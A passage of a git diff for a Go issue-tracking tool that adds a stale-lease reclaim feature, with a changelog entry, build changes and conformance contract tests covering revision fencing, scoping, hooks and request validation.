.../scripts/embedded-storage-test-shards.txt | 1 + CHANGELOG.md | 15 + backend/conformance/BUILD.bazel | 2 + .../conformance/lease_reclaimer_contract.go | 625 ++++++++++++++++++ cmd/bd/BUILD.bazel | 1 + cmd/bd/reclaim.go | 76 ++- cmd/bd/reclaim_embedded_test.go | 133 ++++ cmd/bd/serve.go | 30 +- cmd/bd/serve_source_test.go | 27 + cmd/bd/serve_store_identity_test.go | 8 + cmd/bd/unclaim_proxied_integration_test.go | 6 + cmd/bd/unclaim_proxied_server.go | 31 - internal/httpapi/BUILD.bazel | 2 + internal/httpapi/apigen/types.gen.go | 43 +- internal/httpapi/claim.go | 7 + internal/httpapi/pinning.go | 2 + internal/httpapi/problem.go | 11 + internal/httpapi/reclaim.go | 249 +++++++ internal/httpapi/reclaim_test.go | 317 +++++++++ internal/httpapi/roles_test.go | 31 + internal/httpapi/routes.go | 11 + internal/httpapi/server.go | 25 +- internal/httpapi/spec/openapi.v0.yaml | 196 +++++- internal/httpapi/spec_parity_test.go | 11 +- .../httpapi/wireshape/testdata/golden.json | 87 +++ internal/httpclient/BUILD.bazel | 2 + internal/httpclient/accessors.go | 9 + internal/httpclient/encode/oracle_test.go | 2 + internal/httpclient/leasereclaimer.go | 135 ++++ internal/httpclient/served_harness_test.go | 2 + .../httpclient/served_lease_reclaimer_test.go | 111 ++++ internal/httpclient/served_test.go | 3 + internal/httpclient/unsupported_gen.go | 2 +- internal/httpclient/wave2b_roles_test.go | 86 +++ internal/httpclient/wire/handshake.go | 5 + internal/httpclient/wire/paths.go | 2 + .../wire/revision_tolerance_test.go | 4 + internal/httpclient/wire/skew_test.go | 11 +- internal/httpclient/wire/vocabulary_test.go | 1 + internal/storage/BUILD.bazel | 2 + internal/storage/dolt/BUILD.bazel | 2 + internal/storage/dolt/lease_reclaimer.go | 50 ++ .../dolt/lease_reclaimer_contract_test.go | 114 ++++ internal/storage/domain/db/issue.go | 7 + internal/storage/domain/issue.go | 17 + internal/storage/embeddeddolt/BUILD.bazel | 2 + .../storage/embeddeddolt/lease_reclaimer.go | 54 ++ .../lease_reclaimer_contract_test.go | 111 ++++ .../storage/externaldeps/uow_decorator.go | 6 +- internal/storage/hook_batch_applier_test.go | 4 + internal/storage/hook_decorator.go | 16 + internal/storage/hook_issue_operations.go | 1 + .../storage/hook_issue_operations_test.go | 3 + internal/storage/hook_lease_reclaimer.go | 42 ++ internal/storage/hook_lease_reclaimer_test.go | 83 +++ internal/storage/issueops/BUILD.bazel | 2 + internal/storage/issueops/lease.go | 9 +- internal/storage/issueops/lease_reclaimer.go | 123 ++++ .../storage/issueops/lease_reclaimer_test.go | 107 +++ .../storage/role_accessor_decorator_test.go | 130 ++-- internal/storage/storage.go | 9 + internal/storage/uow/BUILD.bazel | 2 + internal/storage/uow/lease_reclaimer.go | 60 ++ .../uow/lease_reclaimer_contract_test.go | 146 ++++ internal/storage/uow/notifying.go | 24 + internal/telemetry/BUILD.bazel | 1 + internal/telemetry/lease_reclaimer.go | 36 + .../telemetry/role_accessor_decorator_test.go | 12 +- internal/types/types.go | 7 + issue_roles_external_test.go | 33 + issueops/BUILD.bazel | 1 + issueops/leasereclaimer.go | 183 +++++ 73 files changed, 3582 insertions(+), 140 deletions(-) create mode 100644 backend/conformance/lease_reclaimer_contract.go create mode 100644 cmd/bd/reclaim_embedded_test.go create mode 100644 internal/httpapi/reclaim.go create mode 100644 internal/httpapi/reclaim_test.go create mode 100644 internal/httpclient/leasereclaimer.go create mode 100644 internal/httpclient/served_lease_reclaimer_test.go create mode 100644 internal/storage/dolt/lease_reclaimer.go create mode 100644 internal/storage/dolt/lease_reclaimer_contract_test.go create mode 100644 internal/storage/embeddeddolt/lease_reclaimer.go create mode 100644 internal/storage/embeddeddolt/lease_reclaimer_contract_test.go create mode 100644 internal/storage/hook_lease_reclaimer.go create mode 100644 internal/storage/hook_lease_reclaimer_test.go create mode 100644 internal/storage/issueops/lease_reclaimer.go create mode 100644 internal/storage/issueops/lease_reclaimer_test.go create mode 100644 internal/storage/uow/lease_reclaimer.go create mode 100644 internal/storage/uow/lease_reclaimer_contract_test.go create mode 100644 internal/telemetry/lease_reclaimer.go create mode 100644 issueops/leasereclaimer.go diff --git a/.github/scripts/embedded-cmd-test-shards.txt b/.github/scripts/embedded-cmd-test-shards.txt index 7a1c26452..a0ef80ddb 100644 --- a/.github/scripts/embedded-cmd-test-shards.txt +++ b/.github/scripts/embedded-cmd-test-shards.txt @@ -346,6 +346,7 @@ 50 24 TestEmbeddedCloseBasic 50 24 TestEmbeddedImportUpsertAndPrefixSync 50 24 TestEmbeddedQuery +50 24 TestEmbeddedReclaimRunsTheLeaseReclaimerRole 50 24 TestEmbeddedUpdateRoutedStoreCommitsTargetHead 50 25 TestEmbeddedBackupConcurrent diff --git a/.github/scripts/embedded-storage-test-shards.txt b/.github/scripts/embedded-storage-test-shards.txt index c92319f31..da78fa452 100644 --- a/.github/scripts/embedded-storage-test-shards.txt +++ b/.github/scripts/embedded-storage-test-shards.txt @@ -433,6 +433,7 @@ 20 15 TestExpectedRevisionContract 20 15 TestLargeBatchApplyStatementCounts356_Embedded 20 15 TestLargeGraphCreateTiming_Embedded +20 15 TestLeaseReclaimerContract 20 15 TestReadyWorkPageTotalFilterMatrix 20 15 TestReclaimExpiredLeaseSurvivesRestartEmbedded 20 15 TestRemoteEntryPointsUseVersionControlOps diff --git a/CHANGELOG.md b/CHANGELOG.md index 9831b832c..3497db5d1 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,21 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added +- `issueops.LeaseReclaimer`, the stale-lease sweep behind `bd reclaim`, is a + role on every leg (dolt, embedded dolt, the unit-of-work provider and the + HTTP client), and `bd serve` publishes it as `POST /v0/beads/issues:reclaim` + behind the new `issues.reclaim` capability (additive; `wire_revision` is + unchanged). Every reverted row mints a new revision, reported per entry as + `revision`, so a holder that writes with its pre-reclaim token gets a version + mismatch. An id that is not a stale lease is left out of the answer, not + refused. `bd reclaim` now runs the role on both routes, which changes four + things a script can see: its `--json` entries gain `revision`; the + workspace's `on_update` hook fires once per reverted row (the raw path fired + none); `--id` now accepts at most 1000 ids per run (more is refused, never + truncated); and the role records its own version commit, honoring + `dolt.auto-commit` the way `bd prune` does, as + `bd: reclaim N expired lease(s)` on both routes. Over a connected HTTP + workspace `bd reclaim` now works instead of refusing. - `bd create --graph` now plans its batch through `issueops.BatchApplier` instead of the old `buildDomainGraphPlan` path, so a graph create gets the same atomic multi-row semantics as `bd batch apply`. A `waits-for` edge's diff --git a/backend/conformance/BUILD.bazel b/backend/conformance/BUILD.bazel index 1f9632e79..f5c8882cc 100644 --- a/backend/conformance/BUILD.bazel +++ b/backend/conformance/BUILD.bazel @@ -35,6 +35,7 @@ go_library( "issue_operations_contract.go", "issue_operations_staging.go", "journal_contract.go", + "lease_reclaimer_contract.go", "lifecycle_close_reopen_contract.go", "lifecycle_create_contract.go", "lifecycle_update_contract.go", @@ -62,6 +63,7 @@ go_library( importpath = "github.com/steveyegge/beads/backend/conformance", visibility = ["//visibility:public"], deps = [ + "//internal/hooks", "//internal/storage", "//internal/storage/issueops", "//internal/storage/kvkeys", diff --git a/backend/conformance/lease_reclaimer_contract.go b/backend/conformance/lease_reclaimer_contract.go new file mode 100644 index 000000000..eadc6c176 --- /dev/null +++ b/backend/conformance/lease_reclaimer_contract.go @@ -0,0 +1,625 @@ +package conformance + +import ( + "context" + "errors" + "fmt" + "os" + "path/filepath" + "runtime" + "slices" + "sort" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/hooks" + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" +) + +// This file holds the contract every implementation of publicops.LeaseReclaimer +// must satisfy. Each case asserts what issueops/leasereclaimer.go PROMISES, +// cited by symbol. +// +// FOUR LEGS, ONE BODY. dolt, embedded dolt and the unit-of-work provider all +// reach internal/storage/issueops.ExecuteReclaimInTx, and the http leg reaches +// the same body on the far side of POST /v0/beads/issues:reclaim. So a per-leg +// failure here is a wrapper's failure — a lost scope, a revision that never +// reached the caller, a refusal that stopped matching errors.Is — and the +// cases are written to catch exactly those. +// +// EVERY SWEEP HERE IS SCOPED. The legs share one database per suite with every +// other role's cases, and an UNSCOPED reclaim would revert whatever stale lease +// another case left behind. Every call below names its ids, or an assignee or +// label this case alone uses, so a case can never reach outside what it seeded. +// The workspace-wide form is the same SQL with the scope clause absent, which +// sqlbuild.ReclaimScopeSQL's own tests pin. +// +// STALENESS IS MANUFACTURED, NOT WAITED FOR. The role refuses a negative +// OlderThan (the raw method's -time.Hour trick is exactly what it rules out), +// so a case claims through the leg's real Claimer — which writes the lease row +// every reclaim reads — and then moves that row's lease_expires_at into the +// past through Exec. +type LeaseReclaimerFixture struct { + // IssuePrefix namespaces the ids each assertion seeds, so several of them + // can share one database. + IssuePrefix string + // LeaseReclaimer is the surface under test. + LeaseReclaimer publicops.LeaseReclaimer + // CreateIssue seeds a durable issue in the issues plane. + CreateIssue func(context.Context, *types.Issue, string) error + // Claimer takes the claim, and with it the lease row, a reclaim reverts. It + // is the leg's own role rather than a raw insert so the lease is the shape + // a real claim leaves, granted_node included. + Claimer publicops.Claimer + // Lifecycle performs the guarded write the revision case races against the + // reclaim. A nil Lifecycle SKIPS that case loudly. + Lifecycle publicops.Lifecycle + // Exec runs raw statements against the backing database: the cases use it + // to age a lease and to attach labels. A nil Exec SKIPS every case that + // needs a stale lease, which is nearly all of them, so every leg supplies + // one. + Exec func(ctx context.Context, statements []SQLStatement) error + // QueryScalar runs a single-row query and scans it, so the post-state is + // read RAW rather than through the role being tested. + QueryScalar func(context.Context, string, []any, ...any) error + // HookedLeaseReclaimer is the same role taken off the leg's HOOK-FIRING + // chain (storage.HookFiringStore on the store legs and the http leg, + // uow.NewNotifyingProvider on the unit-of-work leg), built over the runner + // FiredUpdates reads. Nil, with FiredUpdates, SKIPS the hook case loudly. + HookedLeaseReclaimer publicops.LeaseReclaimer + // FiredUpdates reports, in firing order, the issue id of every on_update + // the hooked chain ran so far. It must not return before the hooks it is + // asked about have finished. + FiredUpdates func(context.Context) ([]string, error) +} + +const ( + leaseReclaimerReaper = "reaper" + leaseReclaimerHolder = "lr-holder" +) + +// RunLeaseReclaimerRevertsAStaleLease pins the post-state the role names +// (issueops/leasereclaimer.go, LeaseReclaimer: "each reclaimed row moves +// in_progress -> open and the assignee is cleared") and the three members of +// the ReclaimedLease it reports, each READ RAW. +func RunLeaseReclaimerRevertsAStaleLease(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + requireLeaseReclaimerExec(t, fixture) + id := fixture.IssuePrefix + "-revert" + leaseReclaimerSeedStale(t, ctx, fixture, leaseReclaimerHolder, id) + + result := leaseReclaim(t, ctx, fixture, publicops.ReclaimRequest{ + Actor: leaseReclaimerReaper, + Filter: publicops.ReclaimFilter{IDs: []string{id}}, + }) + if len(result.Reclaimed) != 1 { + t.Fatalf("Reclaimed = %+v, want exactly %s", result.Reclaimed, id) + } + got := result.Reclaimed[0] + if got.ID != id || got.PreviousOwner != leaseReclaimerHolder { + t.Fatalf("Reclaimed[0] = %+v, want {ID:%s PreviousOwner:%s}", got, id, leaseReclaimerHolder) + } + + if status := leaseReclaimerScalar[string](t, ctx, fixture, "SELECT status FROM issues WHERE id = ?", id); status != string(types.StatusOpen) { + t.Fatalf("status after reclaim = %q, want %q", status, types.StatusOpen) + } + if held := leaseReclaimerScalar[int](t, ctx, fixture, + "SELECT COUNT(*) FROM issues WHERE id = ? AND (COALESCE(assignee, '') <> '' OR started_at IS NOT NULL)", id); held != 0 { + t.Fatal("reclaim left the assignee or started_at set; the row is still held by a dead worker") + } + if leases := leaseReclaimerScalar[int](t, ctx, fixture, "SELECT COUNT(*) FROM leases WHERE issue_id = ?", id); leases != 0 { + t.Fatalf("lease rows after reclaim = %d, want 0", leases) + } + stored := leaseReclaimerScalar[int64](t, ctx, fixture, "SELECT row_lock FROM issues WHERE id = ?", id) + if got.Revision != types.RevisionToken(stored) { + t.Fatalf("Reclaimed[0].Revision = %q, want the row's own token %q", got.Revision, types.RevisionToken(stored)) + } +} + +// RunLeaseReclaimerMintsARevisionThatFencesTheFormerHolder is the reason the +// revision is minted at all (LeaseReclaimer: "a racing holder's guarded write +// fails with ErrVersionMismatch"). A worker that lost its lease and wakes up +// holding the token its claim handed it must NOT be able to land a guarded +// write over the issue another worker may already have taken; the token the +// reclaim reported, and only it, lands. +func RunLeaseReclaimerMintsARevisionThatFencesTheFormerHolder(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + requireLeaseReclaimerExec(t, fixture) + if fixture.Lifecycle == nil { + t.Skip("LeaseReclaimerFixture.Lifecycle is nil: this backend cannot race a guarded write against the reclaim") + } + id := fixture.IssuePrefix + "-fence" + claimed := leaseReclaimerSeedStale(t, ctx, fixture, leaseReclaimerHolder, id)[id] + + result := leaseReclaim(t, ctx, fixture, publicops.ReclaimRequest{ + Actor: leaseReclaimerReaper, + Filter: publicops.ReclaimFilter{IDs: []string{id}}, + }) + if len(result.Reclaimed) != 1 { + t.Fatalf("Reclaimed = %+v, want exactly %s", result.Reclaimed, id) + } + minted, err := types.ParseRevisionToken(result.Reclaimed[0].Revision) + if err != nil { + t.Fatalf("Reclaimed[0].Revision %q is not a revision token: %v", result.Reclaimed[0].Revision, err) + } + if minted == claimed { + t.Fatalf("reclaim reported revision %d, the claim's own token: nothing was minted", minted) + } + + stale := claimed + _, err = fixture.Lifecycle.Update(ctx, publicops.UpdateRequest{ + Actor: leaseReclaimerHolder, IssueID: id, ExpectedVersion: &stale, + Patch: publicops.IssuePatch{Notes: publicops.Field[string]{Set: true, Value: "late write"}}, + }) + if !errors.Is(err, publicops.ErrVersionMismatch) { + t.Fatalf("guarded write with the pre-reclaim token = %v, want ErrVersionMismatch", err) + } + + fresh := minted + if _, err := fixture.Lifecycle.Update(ctx, publicops.UpdateRequest{ + Actor: leaseReclaimerReaper, IssueID: id, ExpectedVersion: &fresh, + Patch: publicops.IssuePatch{Notes: publicops.Field[string]{Set: true, Value: "after reclaim"}}, + }); err != nil { + t.Fatalf("guarded write with the token the reclaim reported = %v, want it to land", err) + } +} + +// RunLeaseReclaimerLeavesALiveLeaseAlone pins staleness as the gate: a lease +// that has not expired is not eligible, even when its id is named, and naming +// it is not an error (ReclaimRequest.Filter: "FILTER.IDS IS NOT AN ERROR WHEN +// IT NAMES A NON-STALE OR UNKNOWN ISSUE"). +func RunLeaseReclaimerLeavesALiveLeaseAlone(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + requireLeaseReclaimerExec(t, fixture) + id := fixture.IssuePrefix + "-live" + leaseReclaimerSeedClaimed(t, ctx, fixture, leaseReclaimerHolder, id) + + result := leaseReclaim(t, ctx, fixture, publicops.ReclaimRequest{ + Actor: leaseReclaimerReaper, + Filter: publicops.ReclaimFilter{IDs: []string{id}}, + }) + if len(result.Reclaimed) != 0 { + t.Fatalf("Reclaimed = %+v, want nothing: the lease has not expired", result.Reclaimed) + } + leaseReclaimerRequireHeld(t, ctx, fixture, id) +} + +// RunLeaseReclaimerHonorsTheGraceWindow pins ReclaimRequest.OlderThan: a lease +// expired less than OlderThan ago is left alone, and the same lease is +// reclaimed once the window is narrower than its age. +func RunLeaseReclaimerHonorsTheGraceWindow(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + requireLeaseReclaimerExec(t, fixture) + id := fixture.IssuePrefix + "-grace" + leaseReclaimerSeedClaimed(t, ctx, fixture, leaseReclaimerHolder, id) + leaseReclaimerAge(t, ctx, fixture, 10*time.Minute, id) + + request := publicops.ReclaimRequest{ + Actor: leaseReclaimerReaper, + OlderThan: time.Hour, + Filter: publicops.ReclaimFilter{IDs: []string{id}}, + } + if result := leaseReclaim(t, ctx, fixture, request); len(result.Reclaimed) != 0 { + t.Fatalf("OlderThan 1h over a lease 10m stale: Reclaimed = %+v, want nothing", result.Reclaimed) + } + leaseReclaimerRequireHeld(t, ctx, fixture, id) + + request.OlderThan = time.Minute + if got := leaseReclaimerIDs(leaseReclaim(t, ctx, fixture, request)); !slices.Equal(got, []string{id}) { + t.Fatalf("OlderThan 1m over a lease 10m stale: Reclaimed = %v, want [%s]", got, id) + } +} + +// RunLeaseReclaimerScopesToTheNamedIDs pins the IDs scope from both sides: an +// id that is not named is never reverted though it is stale, and an id that is +// named but absent or live is simply missing from Reclaimed — the call does +// not fail and does not report it. +func RunLeaseReclaimerScopesToTheNamedIDs(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + requireLeaseReclaimerExec(t, fixture) + named := fixture.IssuePrefix + "-scope-named" + unnamed := fixture.IssuePrefix + "-scope-unnamed" + live := fixture.IssuePrefix + "-scope-live" + ghost := fixture.IssuePrefix + "-scope-ghost" + leaseReclaimerSeedStale(t, ctx, fixture, leaseReclaimerHolder, named, unnamed) + leaseReclaimerSeedClaimed(t, ctx, fixture, leaseReclaimerHolder, live) + + result := leaseReclaim(t, ctx, fixture, publicops.ReclaimRequest{ + Actor: leaseReclaimerReaper, + Filter: publicops.ReclaimFilter{IDs: []string{ghost, live, named}}, + }) + if got := leaseReclaimerIDs(result); !slices.Equal(got, []string{named}) { + t.Fatalf("Reclaimed = %v, want [%s]: only the named stale lease", got, named) + } + leaseReclaimerRequireHeld(t, ctx, fixture, unnamed) + leaseReclaimerRequireHeld(t, ctx, fixture, live) +} + +// RunLeaseReclaimerAnswersAnAbsentIDWithAnEmptyResult pins the empty answer: +// a sweep scoped only to ids that name no row is not a refusal, and its +// Reclaimed is empty and NON-NIL (ReclaimResult.Reclaimed: "Never nil for a +// successful call"). +func RunLeaseReclaimerAnswersAnAbsentIDWithAnEmptyResult(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + result, err := fixture.LeaseReclaimer.Reclaim(ctx, publicops.ReclaimRequest{ + Actor: leaseReclaimerReaper, + Filter: publicops.ReclaimFilter{IDs: []string{fixture.IssuePrefix + "-absent-a", fixture.IssuePrefix + "-absent-b"}}, + }) + if err != nil { + t.Fatalf("Reclaim scoped to absent ids = %v, want an empty answer", err) + } + if result.Reclaimed == nil { + t.Fatal("Reclaimed is nil; the role promises an empty, non-nil slice") + } + if len(result.Reclaimed) != 0 { + t.Fatalf("Reclaimed = %+v, want nothing", result.Reclaimed) + } +} + +// RunLeaseReclaimerScopesToAssigneesAndLabels re-homes the raw method's scope +// cases (testReclaimScoped) onto the role: assignee, label (AND), label-any +// (OR) and exclude-label each narrow the sweep and never widen it. +func RunLeaseReclaimerScopesToAssigneesAndLabels(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + requireLeaseReclaimerExec(t, fixture) + p := fixture.IssuePrefix + a1, a2, b1, c1 := p+"-lbl-a1", p+"-lbl-a2", p+"-lbl-b1", p+"-lbl-c1" + laneA, laneB, opus := p+"-lane-a", p+"-lane-b", p+"-tier-opus" + workerA, workerB, workerC := p+"-wa", p+"-wb", p+"-wc" + leaseReclaimerSeedStale(t, ctx, fixture, workerA, a1, a2) + leaseReclaimerSeedStale(t, ctx, fixture, workerB, b1) + leaseReclaimerSeedStale(t, ctx, fixture, workerC, c1) + leaseReclaimerLabel(t, ctx, fixture, a1, laneA) + leaseReclaimerLabel(t, ctx, fixture, a2, laneA) + leaseReclaimerLabel(t, ctx, fixture, a2, opus) + leaseReclaimerLabel(t, ctx, fixture, b1, laneB) + + reclaim := func(filter publicops.ReclaimFilter) []string { + t.Helper() + return leaseReclaimerIDs(leaseReclaim(t, ctx, fixture, publicops.ReclaimRequest{Actor: leaseReclaimerReaper, Filter: filter})) + } + + if got := reclaim(publicops.ReclaimFilter{Labels: []string{laneB}}); !slices.Equal(got, []string{b1}) { + t.Fatalf("reclaim(labels %s) = %v, want [%s]", laneB, got, b1) + } + if got := reclaim(publicops.ReclaimFilter{Assignees: []string{workerC}}); !slices.Equal(got, []string{c1}) { + t.Fatalf("reclaim(assignees %s) = %v, want [%s]", workerC, got, c1) + } + if got := reclaim(publicops.ReclaimFilter{Labels: []string{laneA}, ExcludeLabels: []string{opus}}); !slices.Equal(got, []string{a1}) { + t.Fatalf("reclaim(labels %s, exclude %s) = %v, want [%s]", laneA, opus, got, a1) + } + leaseReclaimerRequireHeld(t, ctx, fixture, a2) + if got := reclaim(publicops.ReclaimFilter{LabelsAny: []string{p + "-lane-z", opus}}); !slices.Equal(got, []string{a2}) { + t.Fatalf("reclaim(labels-any lane-z,%s) = %v, want [%s]", opus, got, a2) + } +} + +// RunLeaseReclaimerAttributesTheRecoveryEvent pins ReclaimRequest.Actor: the +// recovery event each reverted row records names the actor who ran the sweep, +// with the lease's former holder beside it. +func RunLeaseReclaimerAttributesTheRecoveryEvent(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + requireLeaseReclaimerExec(t, fixture) + id := fixture.IssuePrefix + "-event" + leaseReclaimerSeedStale(t, ctx, fixture, leaseReclaimerHolder, id) + leaseReclaim(t, ctx, fixture, publicops.ReclaimRequest{ + Actor: leaseReclaimerReaper, + Filter: publicops.ReclaimFilter{IDs: []string{id}}, + }) + if n := leaseReclaimerScalar[int](t, ctx, fixture, + "SELECT COUNT(*) FROM events WHERE issue_id = ? AND event_type = ? AND actor = ? AND old_value = ?", + id, string(types.EventLeaseReclaimed), leaseReclaimerReaper, leaseReclaimerHolder); n != 1 { + t.Fatalf("lease_reclaimed events by %s naming %s = %d, want 1", leaseReclaimerReaper, leaseReclaimerHolder, n) + } +} + +// RunLeaseReclaimerFiresOnUpdateOncePerReclaimedRow pins the hook the role +// names (LeaseReclaimer: "ITS HOOK IS on_update, once per reverted row"): each +// reverted row fires on_update exactly once, and a row the sweep did not +// revert — named but live — fires nothing. +func RunLeaseReclaimerFiresOnUpdateOncePerReclaimedRow(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + requireLeaseReclaimerExec(t, fixture) + if fixture.HookedLeaseReclaimer == nil || fixture.FiredUpdates == nil { + t.Skip("LeaseReclaimerFixture.HookedLeaseReclaimer/FiredUpdates is nil: this backend cannot observe its hooks") + } + first := fixture.IssuePrefix + "-hook-a" + second := fixture.IssuePrefix + "-hook-b" + live := fixture.IssuePrefix + "-hook-live" + leaseReclaimerSeedStale(t, ctx, fixture, leaseReclaimerHolder, first, second) + leaseReclaimerSeedClaimed(t, ctx, fixture, leaseReclaimerHolder, live) + before, err := fixture.FiredUpdates(ctx) + if err != nil { + t.Fatalf("FiredUpdates before: %v", err) + } + + result, err := fixture.HookedLeaseReclaimer.Reclaim(ctx, publicops.ReclaimRequest{ + Actor: leaseReclaimerReaper, + Filter: publicops.ReclaimFilter{IDs: []string{first, second, live}}, + }) + if err != nil { + t.Fatalf("hooked Reclaim: %v", err) + } + if got := leaseReclaimerIDs(result); !slices.Equal(got, []string{first, second}) { + t.Fatalf("Reclaimed = %v, want [%s %s]", got, first, second) + } + + after, err := fixture.FiredUpdates(ctx) + if err != nil { + t.Fatalf("FiredUpdates after: %v", err) + } + fired := map[string]int{} + for _, id := range after[len(before):] { + fired[id]++ + } + for _, id := range []string{first, second} { + if fired[id] != 1 { + t.Fatalf("on_update fired %d time(s) for %s, want exactly 1 (fired: %v)", fired[id], id, after[len(before):]) + } + } + if fired[live] != 0 { + t.Fatalf("on_update fired for %s, which the sweep did not revert", live) + } +} + +// RunLeaseReclaimerRefusesAMalformedRequest pins every refusal the role lists, +// each as ErrValidation (the cap as *TooManyReclaimIDsError), and that a +// refusal changes nothing: the stale lease every request names survives all of +// them. +func RunLeaseReclaimerRefusesAMalformedRequest(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + requireLeaseReclaimerExec(t, fixture) + id := fixture.IssuePrefix + "-malformed" + leaseReclaimerSeedStale(t, ctx, fixture, leaseReclaimerHolder, id) + + tooMany := make([]string, publicops.MaxReclaimIDs+1) + for i := range tooMany { + tooMany[i] = id + } + for _, test := range []struct { + name string + request publicops.ReclaimRequest + tooMany bool + }{ + {"an empty actor", publicops.ReclaimRequest{Filter: publicops.ReclaimFilter{IDs: []string{id}}}, false}, + // One past the column every reverted row's recovery event records it + // in: a typed refusal before the sweep, never the backend's own error + // from the first row it would have reverted. + {"an over-long actor", publicops.ReclaimRequest{Actor: strings.Repeat("r", types.MaxFieldLen+1), + Filter: publicops.ReclaimFilter{IDs: []string{id}}}, false}, + {"a negative grace window", publicops.ReclaimRequest{Actor: leaseReclaimerReaper, OlderThan: -time.Second, + Filter: publicops.ReclaimFilter{IDs: []string{id}}}, false}, + {"a blank scoped id", publicops.ReclaimRequest{Actor: leaseReclaimerReaper, + Filter: publicops.ReclaimFilter{IDs: []string{id, ""}}}, false}, + {"more ids than the cap", publicops.ReclaimRequest{Actor: leaseReclaimerReaper, + Filter: publicops.ReclaimFilter{IDs: tooMany}}, true}, + } { + _, err := fixture.LeaseReclaimer.Reclaim(ctx, test.request) + if !errors.Is(err, publicops.ErrValidation) { + t.Fatalf("%s: Reclaim error = %v, want ErrValidation", test.name, err) + } + if test.tooMany { + var capErr *publicops.TooManyReclaimIDsError + if !errors.As(err, &capErr) || capErr.Requested != len(tooMany) || capErr.Cap != publicops.MaxReclaimIDs { + t.Fatalf("%s: Reclaim error = %v, want *TooManyReclaimIDsError{Requested:%d Cap:%d}", + test.name, err, len(tooMany), publicops.MaxReclaimIDs) + } + } + leaseReclaimerRequireHeld(t, ctx, fixture, id) + } +} + +// RunLeaseReclaimerRefusesABlankScopeEntry pins the blank-entry refusal on +// the scopes that are not ids: an empty or all-blank assignee or label is +// ErrValidation as a *ReclaimFieldError naming its field, and changes +// nothing — the stale lease every request names survives. +func RunLeaseReclaimerRefusesABlankScopeEntry(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + requireLeaseReclaimerExec(t, fixture) + id := fixture.IssuePrefix + "-blankscope" + leaseReclaimerSeedStale(t, ctx, fixture, leaseReclaimerHolder, id) + + for _, test := range []struct { + field string + filter publicops.ReclaimFilter + }{ + {publicops.ReclaimFieldAssignees, publicops.ReclaimFilter{IDs: []string{id}, Assignees: []string{leaseReclaimerHolder, " "}}}, + {publicops.ReclaimFieldLabels, publicops.ReclaimFilter{IDs: []string{id}, Labels: []string{""}}}, + {publicops.ReclaimFieldLabelsAny, publicops.ReclaimFilter{IDs: []string{id}, LabelsAny: []string{"\t"}}}, + {publicops.ReclaimFieldExcludeLabels, publicops.ReclaimFilter{IDs: []string{id}, ExcludeLabels: []string{"x", " "}}}, + } { + _, err := fixture.LeaseReclaimer.Reclaim(ctx, publicops.ReclaimRequest{Actor: leaseReclaimerReaper, Filter: test.filter}) + var fieldErr *publicops.ReclaimFieldError + if !errors.Is(err, publicops.ErrValidation) || !errors.As(err, &fieldErr) || fieldErr.Field != test.field { + t.Fatalf("blank %s entry: Reclaim error = %v, want a *ReclaimFieldError naming %s", test.field, err, test.field) + } + leaseReclaimerRequireHeld(t, ctx, fixture, id) + } +} + +// RunLeaseReclaimerAcceptsExactlyTheCap pins the cap's boundary: MaxReclaimIDs +// entries is a request, one more is a refusal (the case above). +func RunLeaseReclaimerAcceptsExactlyTheCap(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + ids := make([]string, publicops.MaxReclaimIDs) + for i := range ids { + ids[i] = fmt.Sprintf("%s-cap-%04d", fixture.IssuePrefix, i) + } + result, err := fixture.LeaseReclaimer.Reclaim(ctx, publicops.ReclaimRequest{ + Actor: leaseReclaimerReaper, Filter: publicops.ReclaimFilter{IDs: ids}, + }) + if err != nil { + t.Fatalf("Reclaim with exactly MaxReclaimIDs ids = %v, want an answer", err) + } + if len(result.Reclaimed) != 0 { + t.Fatalf("Reclaimed = %+v, want nothing: none of the ids exist", result.Reclaimed) + } +} + +// RunLeaseReclaimerDoesNotMutateTheCallerRequest pins the role's "never mutate +// caller-owned request values": the scope slices come back as they were sent. +func RunLeaseReclaimerDoesNotMutateTheCallerRequest(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + requireLeaseReclaimerExec(t, fixture) + id := fixture.IssuePrefix + "-nomut" + leaseReclaimerSeedStale(t, ctx, fixture, leaseReclaimerHolder, id) + ids := []string{fixture.IssuePrefix + "-nomut-ghost", id} + assignees := []string{leaseReclaimerHolder} + request := publicops.ReclaimRequest{ + Actor: leaseReclaimerReaper, + Filter: publicops.ReclaimFilter{IDs: ids, Assignees: assignees}, + } + leaseReclaim(t, ctx, fixture, request) + if !slices.Equal(ids, []string{fixture.IssuePrefix + "-nomut-ghost", id}) || !slices.Equal(assignees, []string{leaseReclaimerHolder}) { + t.Fatalf("Reclaim rewrote the caller's scope: ids=%v assignees=%v", ids, assignees) + } +} + +// NewUpdateHookLog plants an on_update script that appends the id of every +// issue it fires for, and returns the runner a hook-firing chain is built over +// plus a reader for LeaseReclaimerFixture.FiredUpdates. The reader waits for +// in-flight hooks before reading, so it answers for every hook already fired. +// +// It answers (nil, nil) where a shell hook cannot run, so a fixture built from +// it leaves the hook case to skip rather than fail. +func NewUpdateHookLog(t *testing.T) (*hooks.Runner, func(context.Context) ([]string, error)) { + t.Helper() + if runtime.GOOS == "windows" { + return nil, nil + } + dir := t.TempDir() + log := filepath.Join(t.TempDir(), "on_update.log") + script := "#!/bin/sh\necho \"$1\" >> " + log + "\n" + if err := os.WriteFile(filepath.Join(dir, "on_update"), []byte(script), 0o755); err != nil { //nolint:gosec // G306: a hook must be executable to run at all + t.Fatalf("plant the on_update hook: %v", err) + } + runner 